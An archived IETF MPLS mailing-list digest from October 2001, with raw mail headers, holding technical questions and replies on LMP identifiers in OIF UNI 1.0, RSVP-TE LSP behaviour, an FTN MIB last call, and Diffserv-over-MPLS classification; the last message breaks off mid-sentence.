Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkrj28909;
	Sun, 14 Oct 2001 08:49:06 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkrj25014
	for mpls-outgoing; Sun, 14 Oct 2001 08:48:35 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkrj25009
	for <mpls@mail-control.ash.ops.us.uu.net>; Sun, 14 Oct 2001 08:48:26 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkrj24727
	for <mpls@uu.net>; Sun, 14 Oct 2001 08:48:02 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkrj15032
	for <mpls@uu.net>; Sun, 14 Oct 2001 08:47:54 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id EAA08642 for <mpls@uu.net>; Sun, 14 Oct 2001 04:48:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id EAA07488 for mpls@uu.net; Sun, 14 Oct 2001 04:48:01 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkrj24893
	for <mpls@mail-control.ash.ops.us.uu.net>; Sun, 14 Oct 2001 08:47:16 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkrj19677
	for <mpls@UU.NET>; Sun, 14 Oct 2001 08:45:19 GMT
Received: from mailnpd.hcltech.com by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: [203.197.145.76])
	id QQlkrj10686
	for <mpls@UU.NET>; Sun, 14 Oct 2001 08:45:09 GMT
Received: from rashanmupc (ram.hcltech.com [192.168.100.69])
	by mailnpd.hcltech.com (8.11.0/8.11.0) with SMTP id f9E8imC14845;
	Sun, 14 Oct 2001 14:14:53 +0530
Message-ID: <01e301c154f5$7ee51e70$4564a8c0@hcltech.com>
From: "S Ramesh" <rashanmu@npd.hcltech.com>
To: "CCAMP" <ccamp@ops.ietf.org>, "GMPLS" <gmpls-ops@mplsrc.com>
Cc: <mpls@UU.NET>
Subject: Fw: LMP Procedure in UNI 1.0 - Doubts
Date: Sun, 14 Oct 2001 14:16:17 -0700
Organization: HCL Technologies Ltd.
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_01E0_01C154BA.C9EF54C0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_01E0_01C154BA.C9EF54C0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Sorry in  the second question it is not config messages.. it is the =
Hello messages.

Ramesh

----- Original Message -----=20
From: S Ramesh=20
To: CCAMP ; GMPLS=20
Cc: mpls@UU.NET=20
Sent: Sunday, October 14, 2001 12:39 PM
Subject: LMP Procedure in UNI 1.0 - Doubts


Hi,

I have some doubts in UNI 1.0 Whitepaper published by OIF.

1. IN section 8.2 it is given the UNI neighbour discovery  mechanism is =
based on the LMP protocol mechanism. It is defined some three =
identifiers for LMP procedures NodeID,CCID, INterfaceID. For in-fiber =
case the CCID MUST be equal to the Interface ID. if this is the case =
then under direct service invocation model which supports In-fiber =
method, there exists a proxy UNI-N on the TNE side. So here the CCID =
cannot be the the same as the interface id because interface id is the =
port address for data transfer and the CCID is the IP control channel =
which can be a seperate point to point link between the UNI-C and the =
proxy UNI-N. Then how comes the criteria

CCID =3D=3D Interface ID ( MUST in in-fiber case) can be satisfied.

2. Also there is some confusion exists regarding the three IDs as i =
mentioned above. When Config messages are sent under IP encapsulation =
they use the destination address as the Node ID of the destination. So =
what is the interface ID. Can anybody kindly explain these three IDs =
with a specific scenario.

Thanks,
Ramesh


------=_NextPart_000_01E0_01C154BA.C9EF54C0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>Sorry in  the second question it is not config messages.. it is the =
Hello=20
messages.</DIV>
<DIV>&nbsp;</DIV>
<DIV>Ramesh</DIV>
<DIV>&nbsp;</DIV>
<DIV style=3D"FONT: 10pt arial">----- Original Message -----=20
<DIV style=3D"BACKGROUND: #e4e4e4; font-color: black"><B>From:</B> <A=20
href=3D"mailto:rashanmu@npd.hcltech.com" =
title=3Drashanmu@npd.hcltech.com>S=20
Ramesh</A> </DIV>
<DIV><B>To:</B> <A href=3D"mailto:ccamp@ops.ietf.org"=20
title=3Dccamp@ops.ietf.org>CCAMP</A> ; <A =
href=3D"mailto:gmpls-ops@mplsrc.com"=20
title=3Dgmpls-ops@mplsrc.com>GMPLS</A> </DIV>
<DIV><B>Cc:</B> <A href=3D"mailto:mpls@UU.NET" =
title=3Dmpls@UU.NET>mpls@UU.NET</A>=20
</DIV>
<DIV><B>Sent:</B> Sunday, October 14, 2001 12:39 PM</DIV>
<DIV><B>Subject:</B> LMP Procedure in UNI 1.0 - Doubts</DIV></DIV>
<DIV><BR></DIV>
<DIV>Hi,</DIV>
<DIV>&nbsp;</DIV>
<DIV>I have some doubts in UNI 1.0 Whitepaper published by OIF.</DIV>
<DIV>&nbsp;</DIV>
<DIV>1. IN section 8.2 it is given the UNI neighbour discovery&nbsp; =
mechanism=20
is based on the LMP protocol mechanism. It is defined some three =
identifiers for=20
LMP procedures NodeID,CCID, INterfaceID. For in-fiber case the CCID MUST =
be=20
equal to the Interface ID. if this is the case then under direct service =

invocation model which supports In-fiber method, there exists a proxy =
UNI-N on=20
the TNE side. So here the CCID cannot be the the same as the interface =
id=20
because interface id&nbsp;is the port address for data transfer and the=20
CCID&nbsp;is the IP control channel which can be a seperate point to =
point link=20
between the UNI-C and the proxy UNI-N. Then how comes the criteria</DIV>
<DIV>&nbsp;</DIV>
<DIV>CCID =3D=3D Interface ID ( <STRONG>MUST in in-fiber case</STRONG>) =
can be=20
satisfied.</DIV>
<DIV>&nbsp;</DIV>
<DIV>2. Also there is some confusion exists regarding the three IDs as i =

mentioned above. When Config messages are sent under IP encapsulation =
they use=20
the destination address as the Node ID of the destination. So what is =
the=20
interface ID. Can anybody kindly explain these three IDs with a specific =

scenario.</DIV>
<DIV>&nbsp;</DIV>
<DIV>Thanks,</DIV>
<DIV>Ramesh</DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_01E0_01C154BA.C9EF54C0--



From owner-mpls@UU.NET  Sun Oct 14 12:42:40 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA00596
	for <mpls-archive@lists.ietf.org>; Sun, 14 Oct 2001 12:42:40 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkso17476;
	Sun, 14 Oct 2001 16:41:08 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkso02981
	for mpls-outgoing; Sun, 14 Oct 2001 16:40:37 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkso02974
	for <mpls@mail-control.ash.ops.us.uu.net>; Sun, 14 Oct 2001 16:40:29 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkso21400
	for <mpls@uu.net>; Sun, 14 Oct 2001 16:40:11 GMT
From: francis.arts@alcatel.be
Received: from relay1.alcatel.be by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alc119.alcatel.be [195.207.101.119])
	id QQlkso09181
	for <mpls@uu.net>; Sun, 14 Oct 2001 16:40:25 GMT
Received: from Bemail06.net.alcatel.be (localhost [127.0.0.1])
	by relay1.alcatel.be (8.10.1/8.10.1) with ESMTP id f9EGe1M01751
	for <mpls@uu.net>; Sun, 14 Oct 2001 18:40:05 +0200 (MET DST)
To: mpls@UU.NET
Cc: pierre.debuysscher@alcatel.be, maria.coenen@alcatel.be
Subject: draft-gan-fast-reroute
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
Message-ID: <OFD54396FD.40544BAD-ONC1256AE5.0059E244@net.alcatel.be>
Date: Sun, 14 Oct 2001 18:40:00 +0200
X-MIMETrack: Serialize by Router on BEMAIL06/BE/ALCATEL(Release 5.0.8 |June 18, 2001) at
 10/14/2001 18:40:04,
	Serialize complete at 10/14/2001 18:40:04
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="=_alternative 005B874EC1256AE5_="
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multipart message in MIME format.
--=_alternative 005B874EC1256AE5_=
Content-Type: text/plain; charset="us-ascii"

Hello,

I have 2 questions on <draft-ietf-mpls-rsvp-lsp-tunnel>. Consider the 
following LSP:

        Node1 ====> Node2 ======> Node3 =====> Node4 ======> Egress



Consider 2 situations:


1) Assume that the operator modifies the IP@ of node 2 on the link [node 2 
- node 3]. Is it then
* needed to break down the LSP
or
* is it allowed that the LSP is kept up but that node 2 sends a PATH 
message with the modified RSVH_HOP object?
[The latter would also imply that node 3 would start sending to node 2 
RESV refresh messages with the new IP@ of node 2 as the IP destination 
address.]


2) Assume that the operator modifies the IP@ of node **3** on the link [node 
2 - node 3]. Is it then
* needed to break down the LSP
or
* is it allowed that the LSP is kept up but that node **3** sends a RESV 
message to node 2 with the modified RSVH_HOP object?


Best regards,

        Francis.
--=_alternative 005B874EC1256AE5_=
Content-Type: text/html; charset="us-ascii"


<br><font size=2 face="sans-serif">Hello,</font>
<br>
<br><font size=2><tt>I have 2 questions on &lt;draft-ietf-mpls-rsvp-lsp-tunnel&gt;. Consider the following LSP:</tt></font>
<br><font size=2><tt><br>
 &nbsp; &nbsp; &nbsp; &nbsp;Node1 ====&gt; Node2 ======&gt; Node3 =====&gt; Node4 ======&gt; Egress<br>
</tt></font>
<br>
<br>
<br><font size=2><tt>Consider 2 situations:</tt></font>
<br>
<br>
<br><font size=2><tt>1) Assume that the operator modifies the IP@ of node 2 on the link [node 2 - node 3]. Is it then</tt></font>
<br><font size=2><tt>* needed to break down the LSP</tt></font>
<br><font size=2><tt>or</tt></font>
<br><font size=2><tt>* is it allowed that the LSP is kept up but that node 2 sends a PATH message with the modified RSVH_HOP object?</tt></font>
<br><font size=2><tt>[The latter would also imply that node 3 would start sending to node 2 RESV refresh messages with the new IP@ of node 2 as the IP destination address.]</tt></font>
<br>
<br>
<br><font size=2><tt>2) Assume that the operator modifies the IP@ of node **3** on the link [node 2 - node 3]. Is it then</tt></font>
<br><font size=2><tt>* needed to break down the LSP</tt></font>
<br><font size=2><tt>or</tt></font>
<br><font size=2><tt>* is it allowed that the LSP is kept up but that node **3** sends a RESV message to node 2 with the modified RSVH_HOP object?</tt></font>
<br>
<br>
<br><font size=2><tt>Best regards,</tt></font>
<br>
<br><font size=2><tt>&nbsp; &nbsp; &nbsp; &nbsp; Francis.</tt></font>
--=_alternative 005B874EC1256AE5_=--


From owner-mpls@UU.NET  Sun Oct 14 20:16:36 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA02354
	for <mpls-archive@lists.ietf.org>; Sun, 14 Oct 2001 20:16:36 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkts08488;
	Mon, 15 Oct 2001 00:14:38 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkts10223
	for mpls-outgoing; Mon, 15 Oct 2001 00:14:17 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkts10218
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 15 Oct 2001 00:14:08 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkts04250
	for <mpls@uu.net>; Mon, 15 Oct 2001 00:13:02 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlkts05774
	for <mpls@uu.net>; Mon, 15 Oct 2001 00:12:53 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id UAA03970 for <mpls@uu.net>; Sun, 14 Oct 2001 20:13:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id UAA15527 for mpls@uu.net; Sun, 14 Oct 2001 20:13:01 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkts09890
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 15 Oct 2001 00:11:53 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkts14808
	for <mpls@UU.NET>; Mon, 15 Oct 2001 00:11:42 GMT
Received: from zcars0mt. by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: h181s242a129n47.user.nortelnetworks.com [47.129.242.181])
	id QQlkts03684
	for <mpls@UU.NET>; Mon, 15 Oct 2001 00:11:33 GMT
Received: by zcars0mt. (SMI-8.6/SMI-SVR4)
	id UAA00713; Sun, 14 Oct 2001 20:07:02 -0400
Date: Sun, 14 Oct 2001 20:07:02 -0400
Message-Id: <200110150007.UAA00713@zcars0mt.>
To: mpls@UU.NET
From: George Swallow <swallow@cisco.com>
Subject: Last Call on FTN MIB
Sender: owner-mpls@UU.NET
Precedence: bulk

This message begins a last call on

  Multiprotocol Label Switching (MPLS) FEC-To-NHLFE (FTN) MIB
                       
  draft-ietf-mpls-ftn-mib-03.txt

The last call ends on Oct 26 at midnight GMT.

...George

======================================================================
George Swallow       Cisco Systems                   (978) 244-8143
                     250 Apollo Drive
                     Chelmsford, Ma 01824






From owner-mpls@UU.NET  Sun Oct 14 23:22:32 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA05516
	for <mpls-archive@lists.ietf.org>; Sun, 14 Oct 2001 23:22:32 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkuf25618;
	Mon, 15 Oct 2001 03:21:05 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkuf22200
	for mpls-outgoing; Mon, 15 Oct 2001 03:20:20 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlkuf22195
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 15 Oct 2001 03:20:13 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkuf15484
	for <mpls@uu.net>; Mon, 15 Oct 2001 03:20:01 GMT
Received: from web14702.mail.yahoo.com by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web14702.mail.yahoo.com [216.136.224.119])
	id QQlkuf23932
	for <mpls@uu.net>; Mon, 15 Oct 2001 03:20:16 GMT
Message-ID: <20011015032000.35229.qmail@web14702.mail.yahoo.com>
Received: from [152.1.162.49] by web14702.mail.yahoo.com via HTTP; Sun, 14 Oct 2001 20:20:00 PDT
Date: Sun, 14 Oct 2001 20:20:00 -0700 (PDT)
From: mrugendra singhai <mrugmpls@yahoo.com>
Subject: MPLS Support of Diffserv
To: mpls@UU.NET
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi All,

This is in reference to Draft "MPLS Support of
Differentiated Services"

It says that a label mapping message generated by a
LSR should include EXP/PHB mapping in diffserv for FEC
received in label request message i.e. it is being
suggested that PHB should be supplied based on FEC as
classifier for any destination. But diffserv uses lot
of other fields as classifier. So how can diffserv
treatement be provided for various flow by a LSR
belonging to the same FEC. Is the definition of FEC
not limiting in this case.

Can somebody provide more details on this.


Mrugendra
Research Assistant
NCSU

__________________________________________________
Do You Yahoo!?
Make a great connection at Yahoo! Personals.
http://personals.yahoo.com


From owner-mpls@UU.NET  Sun Oct 14 23:47:27 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA06023
	for <mpls-archive@lists.ietf.org>; Sun, 14 Oct 2001 23:47:26 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkuh23657;
	Mon, 15 Oct 2001 03:45:39 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkuh24071
	for mpls-outgoing; Mon, 15 Oct 2001 03:45:21 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkuh24062
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 15 Oct 2001 03:45:19 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkuh05533
	for <mpls@uu.net>; Mon, 15 Oct 2001 03:45:17 GMT
Received: from web14708.mail.yahoo.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web14708.mail.yahoo.com [216.136.224.125])
	id QQlkuh24217
	for <mpls@uu.net>; Mon, 15 Oct 2001 03:45:32 GMT
Message-ID: <20011015034515.47028.qmail@web14708.mail.yahoo.com>
Received: from [152.1.162.49] by web14708.mail.yahoo.com via HTTP; Sun, 14 Oct 2001 20:45:15 PDT
Date: Sun, 14 Oct 2001 20:45:15 -0700 (PDT)
From: Mrugendra Singhai <mrugmpls@yahoo.com>
Subject: Re: MPLS Support of Diffserv
To: mpls@UU.NET
In-Reply-To: <200110150323.XAA15095@newdev.harvard.edu>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

Scott,

With all regards pls refer to RFC 2475 Section
2.3.1(specially sections describing MF type of
classification) on classifiers.

I think what you are refering is DSCP(Can only be used
in behavior aggregate classifier), defined in RFC 2597
which i agree is surely 6 bits. 

But you see the problem is that Diffserv enabled LSR
will be at loss to generate PHB's decision based only
on FEC since FEC definition is very limited(atleast
for supporting diffserv).

Regards


Mrugendra 
Research Assistant
NCSU

--- Scott Bradner <sob@harvard.edu> wrote:
> > But diffserv uses lot
> > of other fields as classifier. 
> 
> maybe you need to look at difserv again - it uses 6
> bits as
> a classifier - all in one field
> 
> Scott


__________________________________________________
Do You Yahoo!?
Make a great connection at Yahoo! Personals.
http://personals.yahoo.com


From owner-mpls@UU.NET  Mon Oct 15 00:00:39 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA06069
	for <mpls-archive@lists.ietf.org>; Mon, 15 Oct 2001 00:00:39 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkuh12838;
	Mon, 15 Oct 2001 03:59:05 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkuh24858
	for mpls-outgoing; Mon, 15 Oct 2001 03:58:36 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkuh24853
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 15 Oct 2001 03:58:30 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkuh03380
	for <mpls@uu.net>; Mon, 15 Oct 2001 03:58:15 GMT
Received: from web14702.mail.yahoo.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web14702.mail.yahoo.com [216.136.224.119])
	id QQlkuh12067
	for <mpls@uu.net>; Mon, 15 Oct 2001 03:58:30 GMT
Message-ID: <20011015035814.40245.qmail@web14702.mail.yahoo.com>
Received: from [152.1.162.49] by web14702.mail.yahoo.com via HTTP; Sun, 14 Oct 2001 20:58:14 PDT
Date: Sun, 14 Oct 2001 20:58:14 -0700 (PDT)
From: Mrugendra Singhai <mrugmpls@yahoo.com>
Subject: Re: MPLS Support of Diffserv
To: mpls@UU.NET
In-Reply-To: <200110150349.XAA15146@newdev.harvard.edu>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

But you see this brings up an incompatibility in
integrating diffserv with MPLS.

An edge diffserv enabled LSR will map exp to phb based
solely on FEC. So all flows inside a FEC will get same
treatment inside a MPLS network i.e diffserv will not
be able to exist inside MPLS network and can only
exist outside MPLS network.

Pls correct me if i am wrong

Regards

Mrugendra
Research Assistant
NCSU
--- Scott Bradner <sob@harvard.edu> wrote:
> > I think what you are refering is DSCP(Can only be
> used
> > in behavior aggregate classifier), defined in RFC
> 2597
> > which i agree is surely 6 bits.
> 
> 
> which is all that difserv is
> 
> and all that is seen in the network - and all that
> would be 
> sen by a mpls router
> 
> Scott


__________________________________________________
Do You Yahoo!?
Make a great connection at Yahoo! Personals.
http://personals.yahoo.com


From owner-mpls@UU.NET  Mon Oct 15 00:28:48 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA06176
	for <mpls-archive@lists.ietf.org>; Mon, 15 Oct 2001 00:28:48 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkuj22384;
	Mon, 15 Oct 2001 04:27:20 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkuj16462
	for mpls-outgoing; Mon, 15 Oct 2001 04:26:41 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlkuj16455
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 15 Oct 2001 04:26:39 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkuj17818
	for <mpls@uu.net>; Mon, 15 Oct 2001 04:25:25 GMT
Received: from web14702.mail.yahoo.com by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web14702.mail.yahoo.com [216.136.224.119])
	id QQlkuj03227
	for <mpls@uu.net>; Mon, 15 Oct 2001 04:25:16 GMT
Message-ID: <20011015042524.43702.qmail@web14702.mail.yahoo.com>
Received: from [152.1.162.49] by web14702.mail.yahoo.com via HTTP; Sun, 14 Oct 2001 21:25:24 PDT
Date: Sun, 14 Oct 2001 21:25:24 -0700 (PDT)
From: Mrugendra Singhai <mrugmpls@yahoo.com>
Subject: Re: MPLS Support of Diffserv
To: mpls@UU.NET
In-Reply-To: <200110150404.AAA15164@newdev.harvard.edu>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

From "MPLS Support of Differentiated Services" I infer
that a MPLS LSR which is terminal LSR for a given FEC
receives a Label Request Message with diffserv TLV
containing EXP values only. This TLV is filled up with
PHB values corresponding to FEC that has been received
in Request Message. 

So interworking between diffserv conflicts at this
point so as to how to take a decision so as to what
PHB(DSCP) value to be applied to filled in diffserv
TLV based on just the knowledge of FEC.

Mrugendra
Research Assistant
NCSU

--- Scott Bradner <sob@harvard.edu> wrote:
> > An edge diffserv enabled LSR will map exp to phb
> based
> > solely on FEC. 
> 
> seems backwards - the difserv phb is an input to
> figuring
> out what FEC to use
> 
> Scott


__________________________________________________
Do You Yahoo!?
Make a great connection at Yahoo! Personals.
http://personals.yahoo.com


From owner-mpls@UU.NET  Mon Oct 15 01:24:20 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA07452
	for <mpls-archive@lists.ietf.org>; Mon, 15 Oct 2001 01:24:19 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkun07765;
	Mon, 15 Oct 2001 05:22:46 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkun09964
	for mpls-outgoing; Mon, 15 Oct 2001 05:22:16 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkun09959
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 15 Oct 2001 05:22:13 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlkun00808
	for <mpls@uu.net>; Mon, 15 Oct 2001 05:21:46 GMT
Received: from fsnt.future.futsoft.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.197.140.35])
	id QQlkun06713
	for <mpls@uu.net>; Mon, 15 Oct 2001 05:22:01 GMT
Received: from kailash.future.futsoft.com (unverified) by fsnt.future.futsoft.com
 (Content Technologies SMTPRS 2.0.15) with ESMTP id <B0001156841@fsnt.future.futsoft.com> for <mpls@uu.net>;
 Mon, 15 Oct 2001 11:03:37 +0530
Received: from abdulmk (abdulmk.future.futsoft.com [10.8.7.11])
	by kailash.future.futsoft.com (8.11.0/8.11.0) with SMTP id f9F5LaP12012
	for <mpls@uu.net>; Mon, 15 Oct 2001 10:51:36 +0530
From: "Abdul Malick" <abdulmk@future.futsoft.com>
To: <mpls@UU.NET>
Subject: RE: MPLS Support of Diffserv
Date: Mon, 15 Oct 2001 10:48:15 +0530
Message-Id: <NEBBILMNMIHKEBJNOLHEGEOBCAAA.abdulmk@future.futsoft.com>
MIME-Version: 1.0
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
In-Reply-To: <NEBBILMNMIHKEBJNOLHEKEOACAAA.abdulmk@future.futsoft.com>
Importance: Normal
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit


Hello Mrugendra,

When you talk about edge diffserv LSR i assume you are talking about the
ingress LER.
In this case it is this LER that is going to do the MF classification to
find the PHB that a particular flow would be subjected to. There need not be
a mapping from the EXP to PHB in this LER. Only in the subsequent LSRs and
Egress LER would the mapping be required.

When you talk about FEC i assume that you talk about the (Destination
address/prefix) only.But the MF classification is much more than that. So
flows going to the same destination could be classified as different
DiffServ Classes and could be mapped to different LSPs (L-LSP) or the same
LSP(E-LSP) with different EXP values representing different PHBs.

If you did not mean destination address/prefix only as FEC(but also Src
